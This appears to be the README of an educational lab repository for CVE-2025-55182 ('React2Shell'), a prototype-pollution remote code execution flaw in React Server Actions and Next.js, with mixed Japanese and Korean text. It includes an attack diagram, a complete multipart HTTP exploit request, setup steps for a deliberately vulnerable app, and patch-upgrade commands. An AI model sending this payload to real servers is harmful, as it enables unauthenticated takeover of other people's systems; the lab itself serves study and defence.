
CVE-2025-55182 の脆弱性に関するサンプルを AI と共に作成・テストしました。
使用された AI : Claude Opus 4.5 ⚠️ 警告: この環境は教育および研究目的でのみ使用してください。
| 項目 | 内容 |
|---|---|
| CVE | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| 名前 | React2Shell |
| CVSS | 10.0 (Critical) |
| タイプ | Pre-Auth Remote Code Execution |
| 原因 | Flight プロトコルの逆シリアル化時のプロトタイプ汚染 |
┌─────────────────────────┐
│ Attacker │
└───────────┬─────────────┘
│
POST Request + Next-Action Header
multipart/form-data payload
│
▼
┌───────────────────────────────────────────────────────────┐
│ Next.js Server │
├───────────────────────────────────────────────────────────┤
│ 1. Next-Action 헤더 → Server Action 트리거 │
│ 2. multipart 페이로드 → Flight 프로토콜 역직렬화 │
│ 3. Fake Chunk 객체의 then() 메서드 호출 │
│ 4. __proto__ 참조 → 프로토타입 오염 │
│ 5. Function 생성자 주입 → RCE │
└───────────────────────────────────────────────────────────┘
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"
$@0
------Boundary--
主な要素:
Next-Action ヘッダーで Server Action をトリガーthen メソッドを持つ Fake Chunk$@0 参照でプロトタイプチェーンを走査__proto__:then を介して Function コンストラクタにアクセスcd vulnerable-app
# 의존성 설치
npm install
# 개발 서버 시작
npm run dev
http://localhost:3000 にアクセス
react-rce/
├── README.md
├── vulnerable-app/ # 취약한 Next.js 앱
│ ├── package.json # Next.js 15.0.3 (취약 버전)
│ └── app/
│ ├── page.js # UI (CVE 정보 + RCE 시연)
│ ├── actions.js # Server Actions
│ └── globals.css
└── exploit/ # 공격 도구 (선택)
└── exploit.py # CVE-2025-55182 PoC
# 패치 버전으로 업그레이드
npm install [email protected] [email protected] [email protected]